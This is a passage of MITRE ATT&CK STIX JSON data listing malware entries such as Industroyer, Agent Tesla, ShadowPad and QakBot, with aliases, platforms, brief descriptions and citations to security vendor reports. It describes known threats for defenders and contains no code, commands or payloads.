Dragos Crashoverride 2017)"},{"source_name":"Win32/Industroyer","description":"(Citation: ESET Industroyer)"},{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf ","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."},{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf ","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."},{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)","modified":"2022-04-14T19:56:46.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Industroyer","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DownPaper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0186","external_id":"S0186"},{"source_name":"DownPaper","description":"(Citation: ClearSky Charming Kitten Dec 2017)"},{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-30T15:31:30.330Z","name":"DownPaper","description":"[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Socksbot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0273","external_id":"S0273"},{"source_name":"Socksbot","description":"(Citation: TrendMicro Patchwork Dec 2017)"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). 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(Citation: TrendMicro Patchwork Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HIDEDRV"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4","type":"malware","created":"2017-05-31T21:33:17.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0135","external_id":"S0135"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 3"},{"source_name":"Sekoia HideDRV Oct 2016","description":"Rascagnères, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved March 9, 2017.","url":"http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf"}],"modified":"2020-03-30T16:47:08.223Z","name":"HIDEDRV","description":"[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CozyCar","CozyDuke","CozyBear","Cozer","EuroAPT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","type":"malware","created":"2017-05-31T21:32:35.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0046","external_id":"S0046"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-28T21:32:59.528Z","name":"CozyCar","description":"[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Agent Tesla"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","type":"malware","created":"2019-01-29T18:44:04.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0331","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0331"},{"source_name":"Agent Tesla","description":"(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)"},{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."},{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."},{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}],"modified":"2021-04-21T02:04:30.060Z","name":"Agent Tesla","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Pasam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0208","external_id":"S0208"},{"source_name":"Pasam","description":"(Citation: Symantec Pasam May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2021-01-06T19:32:28.265Z","name":"Pasam","description":"[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["httpclient"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","type":"malware","created":"2017-05-31T21:32:45.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0068","external_id":"S0068"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:37:13.552Z","name":"httpclient","description":"[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["POWERSTATS","Powermud"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0223","external_id":"S0223"},{"source_name":"POWERSTATS","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)"},{"source_name":"Powermud","description":"(Citation: Symantec MuddyWater Dec 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"}],"modified":"2020-06-23T20:16:28.982Z","name":"POWERSTATS","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["POWERTON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","type":"malware","created":"2019-04-16T17:43:42.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0371","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0371"},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-25T16:21:36.260Z","name":"POWERTON","description":"[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ECCENTRICBANDWAGON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","type":"malware","created":"2021-03-18T16:15:53.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0593","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0593"},{"source_name":"ECCENTRICBANDWAGON","description":"(Citation: CISA EB Aug 2020)"},{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-10-15T17:28:32.335Z","name":"ECCENTRICBANDWAGON","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BADNEWS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e9595678-d269-469e-ae6b-75e49259de63","type":"malware","created":"2017-05-31T21:33:14.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0128","external_id":"S0128"},{"source_name":"BADNEWS","description":"(Citation: Forcepoint Monsoon)"},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2021-06-21T12:32:12.581Z","name":"BADNEWS","description":"[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Linfo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0211","external_id":"S0211"},{"source_name":"Linfo","description":"(Citation: Symantec Linfo May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2021-01-06T19:32:28.394Z","name":"Linfo","description":"[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Goopy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","type":"malware","created":"2020-06-19T20:42:19.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0477","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0477"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.776Z","name":"Goopy","description":"[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ShadowPad","POISONPLUG.SHADOW"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","type":"malware","created":"2021-03-23T20:49:39.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0596","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0596"},{"source_name":"POISONPLUG.SHADOW","description":"(Citation: FireEye APT41 Aug 2019)"},{"source_name":"Recorded Future RedEcho Feb 2021","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf","description":"Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021."},{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."},{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."},{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2021-04-26T13:14:35.741Z","name":"ShadowPad","description":"[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Remexi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","type":"malware","created":"2019-04-17T19:18:00.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0375","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0375"},{"description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.","url":"https://securelist.com/chafer-used-remexi-malware/89538/","source_name":"Securelist Remexi Jan 2019"}],"modified":"2020-03-30T18:04:25.880Z","name":"Remexi","description":"[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Carlos Borges, @huntingneo, CIP"],"x_mitre_aliases":["Astaroth","Guildma"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","type":"malware","created":"2019-04-17T13:46:38.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0373","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0373"},{"source_name":"Guildma","description":"(Citation: Securelist Brazilian Banking Malware July 2020)"},{"description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","source_name":"Cybereason Astaroth Feb 2019"},{"source_name":"Cofense Astaroth Sept 2018","url":"https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019."},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-08T21:14:48.861Z","name":"Astaroth","description":"[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["QakBot","Pinkslipbot","QuackBot","QBot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","type":"malware","created":"2021-09-27T19:35:35.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0650","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0650"},{"source_name":"Pinkslipbot","description":"(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"},{"source_name":"QuackBot","description":"(Citation: Kaspersky QakBot September 2021)"},{"source_name":"QBot","description":"(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Red Canary Qbot","url":"https://redcanary.com/threat-detection-report/threats/qbot/","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:47:13.084Z","name":"QakBot","description":"[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 